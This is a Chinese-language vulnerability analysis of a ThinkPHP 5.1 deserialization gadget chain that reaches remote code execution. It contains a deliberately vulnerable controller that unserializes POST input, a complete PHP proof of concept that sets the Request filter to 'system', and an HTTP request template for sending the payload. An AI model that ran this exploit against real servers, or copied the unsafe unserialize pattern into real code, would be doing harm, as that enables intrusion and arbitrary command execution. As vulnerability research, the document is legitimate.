ThinkPHP5.1反序列化漏洞实现rce
字数 1224 2025-08-06 12:21:02
ThinkPHP5.1反序列化漏洞实现RCE分析
漏洞概述
ThinkPHP5.1框架存在一个反序列化漏洞,攻击者可以通过构造特定的序列化数据实现远程代码执行(RCE)。该漏洞利用链涉及多个魔术方法的调用和框架内部函数的巧妙利用。
前置知识
关键魔术方法
__destruct(): 析构函数,对象销毁时自动调用__toString(): 对象被当作字符串使用时调用__call(): 调用不存在的方法时触发
关键PHP函数
file_exists(): 可以触发对象的__toString()方法call_user_func(): 可用于执行任意函数array_walk_recursive(): 递归地对数组中的每个元素应用回调函数
漏洞复现环境
修改加载器的index.php为以下形式:
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$c = unserialize($_POST['c']);
return 'Welcome to ThinkPHP!';
return $this->fetch('index');
}
}
漏洞利用链分析
完整的利用链如下:
Windows->__destruct()- 入口点Windows->removeFiles()- 调用file_exists()Conversion->__toString()- 对象被当作字符串处理Conversion->toJson()Conversion->toArray()- 包含$relation->visible($name)Request->__call()- 调用不存在的方法时触发Request->isAjax()Request->param()Request->input()Request->filterValue()call_user_func()- 最终实现RCE
详细分析
1. 入口点 - Windows类的__destruct()
public function __destruct()
{
$this->close();
$this->removeFiles();
}
removeFiles()方法遍历$this->files数组并调用file_exists():
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
2. 触发__toString()
file_exists()会将对象作为字符串处理,触发__toString()方法。在Conversion trait中:
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
3. toArray()方法的关键部分
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
}
}
}
4. getAttr()方法调用链
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
// ...省略其他代码...
return $value;
}
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
5. Request类的__call方法
当调用不存在的方法visible()时触发:
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
6. isAjax()方法
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
7. filterValue()中的RCE
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 关键点:执行任意函数
$value = call_user_func($filter, $value);
}
// ...省略其他代码...
}
return $value;
}
漏洞利用POC
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["l1_Tuer"=>["123"]];
$this->data = ["l1_Tuer"=>new Request()];
}
}
class Request {
protected $hook = [];
protected $filter = "system";
protected $config = ['var_ajax'=>''];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model {}
use think\process\pipes\Windows;
echo (serialize(new Windows()));
?>
利用方式
将生成的序列化字符串通过POST参数c传递给目标:
POST /index.php/index/index HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
c=<生成的序列化字符串>&<命令参数>=<要执行的命令>
防御措施
- 避免反序列化用户可控的数据
- 升级到ThinkPHP最新安全版本
- 对反序列化操作进行严格的白名单控制
- 禁用危险函数如
call_user_func()等
总结
该漏洞通过精心构造的序列化对象,利用ThinkPHP框架内部的多个方法调用链,最终实现了任意代码执行。理解这个漏洞需要对PHP的魔术方法、反序列化机制以及ThinkPHP框架的内部实现有深入的理解。